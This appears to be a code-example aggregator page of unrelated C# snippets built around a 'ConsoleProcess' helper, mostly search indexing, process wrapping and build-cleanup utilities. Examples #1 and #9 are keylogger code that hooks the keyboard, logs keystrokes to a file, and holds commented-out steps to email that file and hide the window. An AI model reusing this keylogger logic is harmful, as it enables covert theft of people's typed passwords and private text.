コード例 #1
0
ファイル: Program.cs プロジェクト: barid92/Prometheus
    public static void Main()
    {
        ConsoleProcess.SayHello();
        try
        {
            using (FileStream fs = new FileStream(Const.file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
            {
                ConsoleProcess.Say(String.Format("Found file '{0}'", Const.file));
                if (fs != null)
                {
                    ConsoleProcess.Say(String.Format("Sending '{0}'", Const.file));
                    //MailProcess.SendEmail(fs);
                    ConsoleProcess.Say(String.Format("Sent file '{0}'", Const.file));
                    fs.Dispose();
                    File.Delete(Const.file);
                    ConsoleProcess.Say(String.Format("Delete file '{0}'", Const.file));
                }
            }
        }
        catch (Exception ex)
        {
            ConsoleProcess.Say(ex.ToString());
        }

        var handle = GetConsoleWindow();

        // Hide
        //ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }
コード例 #2
0
        public void Stop()
        {
            switch (LoggingSourceType)
            {
            case LoggingTypeSourceEnum.Console:

                _calculationCancellationTokenSource?.Cancel();
                if (ConsoleProcess != null && !ConsoleProcess.HasExited)
                {
                    ConsoleProcess.Kill();
                    ConsoleProcess = null;
                }

                break;

            case LoggingTypeSourceEnum.RabbitMQ:

                bus?.Dispose();

                break;
            }

            // delete not finished measurements
            MeasuredData.Where(x => x.IsRunning).ToList().ForEach(x => MeasuredData.Remove(x));

            InProgress = false;
        }
コード例 #3
0
        public BulkElasticGroupedTitleIndex Post(BulkElasticGroupedTitleIndex t)
        {
            const int batchCount = 400;

            ConsoleProcess.Start(t.GetType());
            CreateMapping();
            var i = 0;

            foreach (var elasticTitle in t.ElasticGroupedTitles.Batch(batchCount))
            {
                i++;
                ConsoleProcess.Restart();
                var rootDescriptor = GenerateElasticDescriptor(elasticTitle);
                ElasticSearch.Client.Bulk(rootDescriptor);
                Console.WriteLine(Environment.NewLine);
                Console.WriteLine(@"iteration for {0} took - {1} ms", i * batchCount, ConsoleProcess.ElapsedMilliseconds());
            }

            //Parallel.ForEach(t.ElasticGroupedTitles.Batch(batchCount), elasticTitle => {
            //    i++;
            //    ConsoleProcess.Restart();
            //    var rootDescriptor = GenerateElasticDescriptor(elasticTitle);
            //    ElasticSearch.Client.Bulk(rootDescriptor);
            //    if (i%1000 != 0) return;
            //    Console.WriteLine(Environment.NewLine);
            //    Console.WriteLine(@"iteration for {0} took - {1} ms", i * batchCount, ConsoleProcess.ElapsedMilliseconds());
            //});

            ConsoleProcess.End(t.GetType());

            return(t);
        }
コード例 #4
0
ファイル: MappedDrive.cs プロジェクト: wuhaiying83/EMR
        public static ConsoleProcessResult Disconnect(string strDriveLetter)
        {
            string strArguments = "use " + strDriveLetter + ": /delete";

            ConsoleProcess       objConsoleProcess = new ConsoleProcess();
            ConsoleProcessResult objResult         = objConsoleProcess.ExecuteSynchronous("net", strArguments, 10, new ConsoleProcessResultInterpreter(ProcessResultInterpreter));

            return(objResult);
        }
コード例 #5
0
 /// <summary>
 /// Constructor for StandardIO type.
 /// </summary>
 /// <param name="Process"></param>
 /// <param name="iotype"></param>
 /// <param name="ManResetEvent"></param>
 /// <param name="CallingProcess"></param>
 public StandardIO(System.Diagnostics.Process Process,
                   IOType iotype,
                   System.Threading.ManualResetEvent ManResetEvent,
                   ConsoleProcess CallingProcess)
 {
     m_Process        = Process;
     m_IOType         = iotype;
     m_WaitHandle     = ManResetEvent;
     m_CallingProcess = CallingProcess;
 } //constructor
コード例 #6
0
 public BulkElasticMagazineIndex Post(BulkElasticMagazineIndex t)
 {
     ConsoleProcess.Start(t.GetType());
     CreateMapping();
     foreach (var elasticMagazine in t.ElasticMagazine.Batch(5000))
     {
         ConsoleProcess.Increment();
         ElasticSearch.BulkIndex(elasticMagazine.ToList());
     }
     return(t);
 }
コード例 #7
0
 public BulkElasticOrderHistory Post(BulkElasticOrderHistory t)
 {
     ConsoleProcess.Start(t.GetType());
     CreateMapping();
     foreach (var elasticTitle in t.OrderHistories.Batch(5000))
     {
         ConsoleProcess.Increment();
         ElasticSearch.BulkIndex(elasticTitle.ToList());
     }
     return(t);
 }
コード例 #8
0
        static void Main(string[] args)
        {
            IProcess consoleProcess = new ConsoleProcess();

            //Starting a new process
            consoleProcess.Start();

            //Trying to start a already started process
            consoleProcess.Start();

            //Stopping the process
            consoleProcess.Stop();
        }
コード例 #9
0
ファイル: Program.cs プロジェクト: barid92/Prometheus
 private static IntPtr HookCallback(
     int nCode, IntPtr wParam, IntPtr lParam)
 {
     if (nCode >= 0 && wParam == (IntPtr)Const.WM_KEYDOWN)
     {
         int vkCode = Marshal.ReadInt32(lParam);
         ConsoleProcess.Say(((Keys)vkCode).ToString());
         StreamWriter sw = new StreamWriter(Application.StartupPath + "\\" + Const.file, true);
         sw.Write((Keys)vkCode);
         sw.Close();
     }
     return(CallNextHookEx(_hookID, nCode, wParam, lParam));
 }
コード例 #10
0
ファイル: Console.cs プロジェクト: ru-sh/ScriptManager
        public Console(ConsoleProcess process)
        {
            _console = process;

            _onOutput = _console.StandartOutput
                                .Buffer(TimeSpan.FromSeconds(1)) // TODO 1sec or on new line
                                .Select(x => new string(x.ToArray()))
                                .Where(x => !string.IsNullOrEmpty(x));

            _onError = _console.ErrorOutput
                               .Buffer(TimeSpan.FromSeconds(1))
                               .Select(x => new string(x.ToArray()))
                               .Where(x => !string.IsNullOrEmpty(x));
        }
コード例 #11
0
    void Awake()
    {
        var packetQueue = new PacketQueue();
        var udpProcess  = new UDPProcess(ref packetQueue);

        ITelemetryProcessor recorder  = new TelemetryRecorder();
        ITelemetryProcessor processor = new TelemetrySaveTrack(recorder);

        var consoleProcess = new ConsoleProcess(ref packetQueue, new Action(recorder, processor));

        udpThread     = new Thread(new ThreadStart(udpProcess.Process));
        consoleThread = new Thread(new ThreadStart(consoleProcess.Process));

        udpThread.Start();
        consoleThread.Start();
    }
コード例 #12
0
        public BulkElasticOwnershipIndexCollection Post(BulkElasticOwnershipIndexCollection t)
        {
            int batchCount = 400;

            ConsoleProcess.Start(t.GetType());
            CreateMapping();
            Console.WriteLine(@"Ownership titles count = " + t.ElasticOwnershipCollections.Count);
            var i = 0;

            foreach (var elasticTitle in t.ElasticOwnershipCollections.Batch(batchCount))
            {
                i++;
                ConsoleProcess.Restart();
                var rootDescriptor = GenerateElasticDescriptor(elasticTitle);
                ElasticSearch.Client.Bulk(rootDescriptor);
                Console.WriteLine(Environment.NewLine);
                Console.WriteLine(@"iteration for {0} took - {1} ms", i * batchCount, ConsoleProcess.ElapsedMilliseconds());
            }

            //Parallel.ForEach(t.ElasticOwnershipCollections.Batch(batchCount), elastictitle =>
            //{
            //    i++;
            //    ConsoleProcess.Restart();
            //    var rootDescriptor = GenerateElasticDescriptor(elastictitle);
            //    ElasticSearch.Client.Bulk(rootDescriptor);
            //    if (i % 1000 != 0) return;
            //    Console.WriteLine(Environment.NewLine);
            //    Console.WriteLine(@"iteration for {0} took - {1} ms", i * batchCount, ConsoleProcess.ElapsedMilliseconds());
            //});

            //foreach (var ownershipList in t.ElasticOwnershipCollections)
            //{
            //    ConsoleProcess.Increment();
            //    if (ownershipList.ElasticOwnership.Count > 0)
            //    {
            //        ElasticSearch.BulkIndex(ownershipList.ElasticOwnership, ownershipList.Isbn);
            //    }

            //    ConsoleProcess.ModOf5000();
            //}
            //ElasticSearch.Client.UpdateIndexSettings(us => us.RefreshInterval("1s"));
            ConsoleProcess.End(t.GetType());
            return(t);
        }
コード例 #13
0
        public BulkElasticGroupedTitleIndex Post(BulkElasticGroupedTitleIndex t)
        {
            const int batchCount = 500;

            ConsoleProcess.Start(t.GetType());
            CreateMapping();
            var i = 0;

            foreach (var elasticTitle in t.ElasticGroupedTitles.Batch(batchCount))
            {
                i++;
                ConsoleProcess.Restart();
                ElasticSearch.BulkIndex(elasticTitle.ToList());
                Console.WriteLine(Environment.NewLine);
                Console.WriteLine(@"iteration for {0} took - {1} ms", i * batchCount, ConsoleProcess.ElapsedMilliseconds());
            }
            ConsoleProcess.End(t.GetType());
            return(t);
        }
コード例 #14
0
ファイル: Run.cs プロジェクト: luozhiping1987/dot42
        public static int RunAndLog(string appFileName, string arguments, Action <Level, string> log)
        {
            var proc = new ConsoleProcess
            {
                Arguments   = arguments,
                AppFileName = appFileName,
                Encoding    = Encoding.UTF8
            };

            proc.StderrLineRead += line => log(Level.Error, line);
            proc.StdoutLineRead += line => log(Level.Info, line);

            log(Level.Verbose, string.Format("cmdline: {0} {1}", appFileName, arguments));

            proc.Start();
            proc.Wait();

            return(proc.ExitCode);
        }
コード例 #15
0
ファイル: MappedDrive.cs プロジェクト: wuhaiying83/EMR
        public static ConsoleProcessResult Connect(string strDriveLetter, string strPath, Credentials objCredentials)
        {
            if ((strDriveLetter == null) || (strDriveLetter.Length == 0))
            {
                throw new ArgumentOutOfRangeException("strDriveLetter", "A valid non-null, non-empty string is required.");
            }
            if ((strPath == null) || (strPath.Length == 0))
            {
                throw new ArgumentOutOfRangeException("strPath", "A valid non-null, non-empty string is required.");
            }
            if (objCredentials == null)
            {
                throw new ArgumentNullException("objCredentials", "A valid non-null Credentials is required.");
            }

            string strArguments = "use " + strDriveLetter + ": " + strPath + " /user:"******" " + objCredentials.Password + " /persistent:no";

            ConsoleProcess       objConsoleProcess = new ConsoleProcess();
            ConsoleProcessResult objResult         = objConsoleProcess.ExecuteSynchronous("net", strArguments, 10, new ConsoleProcessResultInterpreter(ProcessResultInterpreter));

            return(objResult);
        }
コード例 #16
0
        public void Initialize(
            string sourceFullRootPath,
            string targetRootPath,
            params string[] args)
        {
            Console.Write("Initializing PsftpFileMirrorPlugin: ");
            Console.WriteLine(string.Join(" ", args));

            this._sourceFullRootPath = sourceFullRootPath;
            this._targetRootPath     = targetRootPath;
            this._userHost           = args[0];

            this._psftpProcess = new ConsoleProcess(
                "psftp.exe",
                this._sourceFullRootPath,
                this._userHost);

            Console.WriteLine("psftp {0}", this._userHost);
            this._psftpProcess.Start();

            this._psftpProcess.InputLine(string.Format("cd \"{0}\"", this._targetRootPath));

            //this._plinkProcess = this.StartProcess(@"C:\Program Files (x86)\PuTTY\plink.exe");
        }
コード例 #17
0
        public BulkProfileOwnership Post(BulkProfileOwnership t)
        {
            var collection = new MongoClient(new MongoUrl("")).GetDatabase("").GetCollection <BsonDocument>("etlownershipdata");
            var builder    = Builders <BsonDocument> .Filter;
            var filter     = builder.Eq("Year", DateTime.Now.Year) & builder.Eq("Month", DateTime.Now.Month) &
                             builder.Eq("Day", DateTime.Now.Day - 1);

            if (collection.CountAsync(filter).Result == 0)
            {
                var groupedOwnership = t.ProfileOwnerships.GroupBy(g => g.ScopeId);
                var dateTime         = t.ProfileOwnerships.First().CreatedAt;
                var ownershipList    = groupedOwnership.Select(item => new BsonDocument()
                {
                    { "ScopeId", item.Key },
                    {
                        "Data", new BsonArray(item.Select(i => new BsonDocument()
                        {
                            { "Isbn", i.Isbn },
                            { "HoldsCopies", i.HoldsCopies },
                            { "TotalCopies", i.TotalCopies },
                            { "CirculationCopies", i.CirculationCopies },
                        }))
                    },
                    { "Day", dateTime.Day },
                    { "Month", dateTime.Month },
                    { "Year", dateTime.Year }
                }).ToList();
                ConsoleProcess.Start(t.GetType());
                foreach (var ownership in ownershipList)
                {
                    collection.InsertOneAsync(ownership);
                }
                ConsoleProcess.End(t.GetType());
            }
            return(t);
        }
コード例 #18
0
ファイル: cleanbuild.cs プロジェクト: ArildF/masters
 /// <summary>
 /// Constructor for StandardIO type.
 /// </summary>
 /// <param name="Process"></param>
 /// <param name="iotype"></param>
 /// <param name="ManResetEvent"></param>
 /// <param name="CallingProcess"></param>
 public StandardIO(System.Diagnostics.Process Process, 
     IOType iotype, 
     System.Threading.ManualResetEvent ManResetEvent,
     ConsoleProcess CallingProcess)
 {
     m_Process = Process;
     m_IOType = iotype;
     m_WaitHandle = ManResetEvent;
     m_CallingProcess = CallingProcess;
 } //constructor
コード例 #19
0
ファイル: Api.cs プロジェクト: ru-sh/ScriptManager
 public Api(ConsoleProcess consoleProcess, IEnumerable<string> lines)
 {
     Console = new Console(consoleProcess);
     Script = new Script(lines);
     Trace = new Trace();
 }
コード例 #20
0
    }     //Main

    /// <summary>
    /// Invokes tar and builds the list of files in the archive which are not to be deleted.
    /// </summary>
    /// <param name="CurrentSettings"></param>
    public static void RunCommand(Settings CurrentSettings)
    {
        try
        {
            StringDictionary FileTable     = new StringDictionary();
            ArrayList        DeleteList    = new ArrayList();
            string           DeleteCommand = null;
            string           sep           = Path.DirectorySeparatorChar.ToString();

            StreamWriter OutFile = new StreamWriter(CurrentSettings.DeletionScriptPath +
                                                    Path.DirectorySeparatorChar +
                                                    m_DeleteScriptName);

            switch (CurrentSettings.OSType)
            {
            case OSTypeEnum.Windows:
            {
                DeleteCommand = "@del /f ";
                break;
            }     //case

            case OSTypeEnum.Unix:
            {
                OutFile.WriteLine("#!/bin/sh");
                DeleteCommand = "rm -f -v ";
                break;
            }     //case

            default:
            {
                throw new System.InvalidOperationException("Invalid OSTypeEnum value.");
            }     //case
            } //switch

            string fullCommand = m_CommandArgument + CurrentSettings.TarFileName;
            // Check to see that tar is in path.

            Console.WriteLine();
            // tar fails on the Mac.  Try gnutar first.
            if (ToolInstalled("gnutar"))
            {
                m_CommandName = "gnutar";
                Console.WriteLine("Found utility named: {0}", m_CommandName);
            } //if
            else
            {
                if (ToolInstalled("tar"))
                {
                    m_CommandName = "tar";
                    Console.WriteLine("Found utility named: {0}", m_CommandName);
                    Console.WriteLine("Tar utility may truncate file names on Mac OS X.");
                }    //if
                else //No tar installed.
                {
                    Console.WriteLine("No tar utility found. Exiting...");
                    System.InvalidOperationException ioe = new System.InvalidOperationException("No tar utility found.");
                    throw ioe;
                } //else
            }

            ConsoleProcess toolProc = new ConsoleProcess(m_CommandName, fullCommand);
            Console.WriteLine(m_nl + "Starting command {0} {1}", m_CommandName, fullCommand);
            toolProc.Start();

            // Wait for all IO to complete.
            toolProc.WaitForOutput();

            // Get standard output and error (if any).
            string toolStdOut   = toolProc.StandardOutputString;
            string toolStdError = toolProc.StandardErrorString;

            // If there is output to stdErr or a bad command exit code output warning.
            if (toolStdError != null || toolProc.BaseProcess.ExitCode != 0)
            {
                Console.WriteLine(m_nl +
                                  "*************************** Tool Error ***************************");
                Console.WriteLine(m_nl +
                                  "Exit code: {0}", toolProc.BaseProcess.ExitCode);
                Console.WriteLine(m_nl +
                                  "Error in tool operation: {0}", toolStdError);
                System.Environment.ExitCode = toolProc.BaseProcess.ExitCode;
                return;
            } //if

            if (toolStdOut == null || toolStdOut.Length < 1)
            {
                Console.WriteLine(m_nl + "No file list generated, exiting");
                System.Environment.ExitCode = 1;
                return;
            } //if

            Console.WriteLine(m_nl + "Finished {0} {1}, searching for files to delete ...",
                              m_CommandName,
                              m_CommandArgument);

            StringReader outputList = new StringReader(toolStdOut);
            string       fname      = null;
            string       line       = null;

            while (outputList.Peek() > -1)
            {
                line = outputList.ReadLine();

                // Tar always outputs using forward slashes as the separator char.
                if (CurrentSettings.OSType == OSTypeEnum.Windows)
                {
                    fname = CurrentSettings.SSCLIRootDirectory + sep + line.Replace("/", sep);
                } //if
                else
                {
                    fname = CurrentSettings.SSCLIRootDirectory + sep + line;
                } //else

                if (!Directory.Exists(fname)) // filter out directory names
                {
                    // There is a rare case where the table already contains the name.
                    if (!FileTable.ContainsKey(fname.ToLower()))
                    {
                        FileTable.Add(fname.ToLower(), fname.ToLower());
                    } //if
                }     //if
            }         //while

            CreateDeletionFile(new DirectoryInfo(CurrentSettings.SSCLIRootDirectory),
                               OutFile,
                               FileTable,
                               DeleteList,
                               DeleteCommand,
                               CurrentSettings);
            OutFile.Flush();
            OutFile.Close();

            // Make script executable on Unix
            if (CurrentSettings.OSType == OSTypeEnum.Unix)
            {
                System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo();
                si.FileName  = "chmod";
                si.Arguments = "+x " +
                               CurrentSettings.DeletionScriptPath +
                               Path.DirectorySeparatorChar +
                               m_DeleteScriptName;
                si.UseShellExecute = false;
                System.Diagnostics.Process chmodproc = System.Diagnostics.Process.Start(si);
                chmodproc.WaitForExit();
            } //if

            Console.WriteLine(m_nl +
                              "*********************************************************");
            Console.WriteLine("Deletion script file created at: {0}",
                              CurrentSettings.DeletionScriptPath +
                              Path.DirectorySeparatorChar +
                              m_DeleteScriptName);
        } //try
        catch (Exception e)
        {
            Console.WriteLine("Exception in GenerateFile: {0}", e.ToString());
        } //catch
    }     //GenerateFile()
コード例 #21
0
ファイル: StartUp.cs プロジェクト: Cyecize/TimeReporter
        public static void Main(string[] args)
        {
            Application.EnableVisualStyles();

            ILocalConfigManager configManager = new LocalConfigManager();

            configManager.AdjustPortValues();

            ICommunicationManager communicationManager = new CommunicationManager(configManager);

            ICommandParser commandParser = new CommandParser(configManager);

            communicationManager.OnMessage    += msg => Console.WriteLine($"Msg from app: {msg}");
            communicationManager.OnAppStarted += msg => _appLoaded = true;
            communicationManager.Start();

            ConsoleProcess consoleProcess = new ConsoleProcess(commandParser.ParseCommand(), bool.Parse(configManager.GetConfig(LocalConfigKeys.ShowCmd)));

            consoleProcess.ExecuteCommand();

            long connectionTimeout     = long.Parse(configManager.GetConfig(LocalConfigKeys.AppStartTimeout));
            long connectionElapsedTime = 0L;

            while (!_appLoaded)
            {
                connectionElapsedTime += 1;
                Thread.Sleep(1);

                if (connectionElapsedTime > connectionTimeout)
                {
                    MessageBox.Show("App was not started", "Error");
                    consoleProcess.Kill();
                    return;
                }
            }

            InitCef();
            //TODO: add utility class for this.
            BrowserForm form = new BrowserForm(commandParser.ParseBaseUrl())
            {
                Width       = int.Parse(configManager.GetConfig(LocalConfigKeys.WindowWidth)),
                Height      = int.Parse(configManager.GetConfig(LocalConfigKeys.WindowHeight)),
                WindowState = bool.Parse(configManager.GetConfig(LocalConfigKeys.WindowMaximizedState)) ? FormWindowState.Maximized : FormWindowState.Normal
            };

            form.SizeChanged += (sender, eventArgs) =>
            {
                configManager.SetConfig(LocalConfigKeys.WindowWidth, form.Width.ToString());
                configManager.SetConfig(LocalConfigKeys.WindowHeight, form.Height.ToString());
            };

            form.FormClosing += (sender, eventArgs) =>
            {
                configManager.SetConfig(LocalConfigKeys.WindowMaximizedState, (form.WindowState == FormWindowState.Maximized).ToString());
                configManager.Save();
                communicationManager.SendStopMessage();
                consoleProcess.Kill();
                Environment.Exit(0);
            };

            Application.Run(form);
        }
コード例 #22
0
ファイル: Main.xaml.cs プロジェクト: ru-sh/ScriptManager
        void Main_Loaded(object sender, RoutedEventArgs e)
        {
            var traceListener = new TextTraceListener();
            System.Diagnostics.Trace.Listeners.Add(traceListener);

            traceListener.TextOut.Subscribe(s => Dispatcher.Invoke(() =>
                {
                    UiTraceOut.Text += s;
                    ScrollParent(UiTraceOut);
                }));

            Browser.PropertyChanged += (o, args) =>
                {
                    if (args.PropertyName == "SelectedScriptPath")
                    {
                        Dispatcher.Invoke(() =>
                        {
                            var path = Browser.SelectedScriptPath;
                            Title = path;

                            if (_console != null)
                            {
                                _console.Close();
                            }

                            var procStartInfo = new ProcessStartInfo("cmd");
                            var app = (App)Application.Current;
                            procStartInfo.WorkingDirectory = app.AppSettings.AdbDirectory;
                            _console = new ConsoleProcess(procStartInfo);
                            _console.Start();

                            var script = File.ReadAllLines(path);
                            var api = new Api(_console, script);
                            var output = new Subject<string>();
                            var errors = new Subject<string>();

                            api.Console.OnOutputReceived(output.OnNext);
                            api.Console.OnErrorReceived(errors.OnNext);

                            output.Merge(errors).Subscribe(str => System.Diagnostics.Trace.Write(str));

                            UiScriptCommander.Api = api;
                        });
                    }
                };

            var adbDirectory = _app.AppSettings.AdbDirectory;
            if (string.IsNullOrWhiteSpace(adbDirectory))
            {
                SetAdbPath();
            }
        }
コード例 #23
0
        public void Start()
        {
            switch (LoggingSourceType)
            {
            case LoggingTypeSourceEnum.Console:
                if (ConsoleProcess != null)
                {
                    if (ConsoleProcess.HasExited)
                    {
                        ConsoleProcess.Start();
                    }

                    return;
                }
                else
                {
                    if (File.Exists(FilePath))
                    {
                        ConsoleOutputStream = new ObservableCollection <OutputText>();

                        var startInfo = new ProcessStartInfo(FilePath)
                        {
                            WorkingDirectory       = RootFolderPath,
                            Arguments              = StartingArguments,
                            RedirectStandardOutput = true,
                            UseShellExecute        = false,
                            CreateNoWindow         = true
                        };
                        ConsoleProcess = new System.Diagnostics.Process {
                            StartInfo = startInfo
                        };

                        ConsoleProcess.EnableRaisingEvents = true;

                        var setts = MeasureSettings.Where(x => x.IsReadyToUse && x.IsActive);

                        ConsoleProcess.OutputDataReceived += (sender, args) =>
                        {
                            if (!_isAppClosing && args.Data != null)
                            {
                                App.Current.Dispatcher.Invoke((System.Action) delegate
                                {
                                    var rowData = args.Data.Trim();

                                    CreateMeasureUnit(rowData, DateTime.Now);
                                    PublishMessageToConsole(rowData);
                                });
                            }
                        };
                        ConsoleProcess.Exited += (sender, args) =>
                        {
                            InProgress = false;
                        };

                        ConsoleProcess.Start();
                        ConsoleProcess.BeginOutputReadLine();
                    }
                    else
                    {
                        Console.WriteLine("File not found.");
                        InProgress = false;
                    }
                }

                _calculationCancellationTokenSource = new CancellationTokenSource();
                _calculationWorker = RepeatHelper.Interval(TimeSpan.FromSeconds(LoopingDelay), () => EvaluateUnitData(), _calculationCancellationTokenSource.Token);

                break;

            case LoggingTypeSourceEnum.RabbitMQ:

                var con = ConfigurationManager.AppSettings.Get(Constants.RabbitMQConnectionName);

                if (con == null)
                {
                    con = @"host=localhost;port=5672;virtualHost=/;username=admin;password=admin;requestedHeartbeat=0";
                }

                var processMQId = $"{FileName}_{Guid.NewGuid()}";
                bus = RabbitHutch.CreateBus(con);
                var exchange = bus.Advanced.ExchangeDeclare("Ariane.MQ", ExchangeType.Topic, autoDelete: true);

                // stops disposes bus and kills queue
                //queue = bus.Advanced.QueueDeclare(processMQId, autoDelete: true, perQueueMessageTtl: 10000);
                queue = bus.Advanced.QueueDeclare(processMQId, autoDelete: true);
                var q = bus.Advanced.Bind(exchange, queue, RabbitMQTopicName);

                bus.Advanced.Consume <LogMessageBase>(queue, (x, a) => {
                    var log = x.Body;

                    string rowData;
                    var m = $"{log.TimeStamp.ToString("HH:mm:ss")} -{log.Level}- {log.FormattedMessage}";

                    // apply aditional formatting
                    if (!String.IsNullOrEmpty(log.Message))
                    {
                        rowData = String.Format(log.Message, m);
                    }
                    else
                    {
                        rowData = m;
                    }

                    var timeStamp = log.TimeStamp;

                    CreateMeasureUnit(rowData, timeStamp);
                    Application.Current.Dispatcher.Invoke(delegate
                    {
                        PublishMessageToConsole(rowData);
                    });

                    //}, x => {
                    //x.WithTopic(RabbitMQTopicName);
                });

                InProgress = true;

                break;

            default:
                throw new Exception($"Logging source '{LoggingSourceType}' has not supported.");
            }
        }
コード例 #24
0
ファイル: cleanbuild.cs プロジェクト: ArildF/masters
    } //Main

    /// <summary>
    /// Invokes tar and builds the list of files in the archive which are not to be deleted.
    /// </summary>
    /// <param name="CurrentSettings"></param>
    public static void RunCommand(Settings CurrentSettings)
    {
        try
        {
            StringDictionary FileTable = new StringDictionary();
            ArrayList DeleteList = new ArrayList();
            string DeleteCommand = null;
            string sep = Path.DirectorySeparatorChar.ToString();

            StreamWriter OutFile = new StreamWriter(CurrentSettings.DeletionScriptPath + 
                Path.DirectorySeparatorChar + 
                m_DeleteScriptName);

            switch (CurrentSettings.OSType)
            {
                case OSTypeEnum.Windows:
                {
                    DeleteCommand = "@del /f ";
                    break;
                } //case
                case OSTypeEnum.Unix:
                {
                    OutFile.WriteLine("#!/bin/sh");
                    DeleteCommand = "rm -f -v ";
                    break;
                } //case
                default:
                {
                    throw new System.InvalidOperationException("Invalid OSTypeEnum value.");
                } //case
            } //switch

            string fullCommand = m_CommandArgument + CurrentSettings.TarFileName;
            // Check to see that tar is in path.

            Console.WriteLine();
            // tar fails on the Mac.  Try gnutar first.
            if (ToolInstalled("gnutar"))
            {
                m_CommandName = "gnutar";
                Console.WriteLine("Found utility named: {0}", m_CommandName);
            } //if
            else
            {
                if (ToolInstalled("tar"))
                {
                    m_CommandName = "tar";
                    Console.WriteLine("Found utility named: {0}", m_CommandName);
                    Console.WriteLine("Tar utility may truncate file names on Mac OS X.");
                } //if
                else  //No tar installed.
                {
                    Console.WriteLine("No tar utility found. Exiting...");
                    System.InvalidOperationException ioe = new System.InvalidOperationException("No tar utility found.");
                    throw ioe;
                } //else
            }

            ConsoleProcess toolProc = new ConsoleProcess(m_CommandName, fullCommand);
            Console.WriteLine(m_nl + "Starting command {0} {1}", m_CommandName, fullCommand);
            toolProc.Start();

            // Wait for all IO to complete.
            toolProc.WaitForOutput();

            // Get standard output and error (if any).
            string toolStdOut = toolProc.StandardOutputString;
            string toolStdError = toolProc.StandardErrorString;
    
            // If there is output to stdErr or a bad command exit code output warning.
            if (toolStdError != null || toolProc.BaseProcess.ExitCode != 0)
            {
                Console.WriteLine(m_nl + 
                    "*************************** Tool Error ***************************");
                Console.WriteLine(m_nl +
                    "Exit code: {0}", toolProc.BaseProcess.ExitCode);
                Console.WriteLine(m_nl + 
                    "Error in tool operation: {0}", toolStdError);
                System.Environment.ExitCode = toolProc.BaseProcess.ExitCode;
                return;
            } //if
    
            if (toolStdOut == null || toolStdOut.Length < 1)
            {
                Console.WriteLine(m_nl + "No file list generated, exiting");
                System.Environment.ExitCode = 1;
                return;
            } //if

            Console.WriteLine(m_nl + "Finished {0} {1}, searching for files to delete ...", 
                m_CommandName, 
                m_CommandArgument);
		
            StringReader outputList = new StringReader(toolStdOut);
            string fname = null;
            string line = null;
      
            while (outputList.Peek() > -1)
            {
                line = outputList.ReadLine();

                // Tar always outputs using forward slashes as the separator char.
                if (CurrentSettings.OSType == OSTypeEnum.Windows)
                {
                    fname = CurrentSettings.SSCLIRootDirectory + sep + line.Replace("/", sep);
                } //if
                else
                {
                    fname = CurrentSettings.SSCLIRootDirectory + sep + line;
                } //else

                if (!Directory.Exists(fname)) // filter out directory names
                {
                    // There is a rare case where the table already contains the name.
                    if (!FileTable.ContainsKey(fname.ToLower()))
                    {
                        FileTable.Add(fname.ToLower(), fname.ToLower());
                    } //if
                } //if
            } //while
    
            CreateDeletionFile(new DirectoryInfo(CurrentSettings.SSCLIRootDirectory), 
                OutFile, 
                FileTable, 
                DeleteList, 
                DeleteCommand, 
                CurrentSettings);
            OutFile.Flush();
            OutFile.Close();

            // Make script executable on Unix
            if (CurrentSettings.OSType == OSTypeEnum.Unix)
            {
                System.Diagnostics.ProcessStartInfo si = new System.Diagnostics.ProcessStartInfo();
                si.FileName = "chmod";
                si.Arguments = "+x " + 
                    CurrentSettings.DeletionScriptPath + 
                    Path.DirectorySeparatorChar + 
                    m_DeleteScriptName;
                si.UseShellExecute = false;
                System.Diagnostics.Process chmodproc= System.Diagnostics.Process.Start(si);
                chmodproc.WaitForExit();
            } //if

            Console.WriteLine(m_nl +
                "*********************************************************");
            Console.WriteLine("Deletion script file created at: {0}", 
                CurrentSettings.DeletionScriptPath +
                Path.DirectorySeparatorChar +
                m_DeleteScriptName);
        } //try
        catch (Exception e)
        {
            Console.WriteLine("Exception in GenerateFile: {0}", e.ToString());
        } //catch
    } //GenerateFile()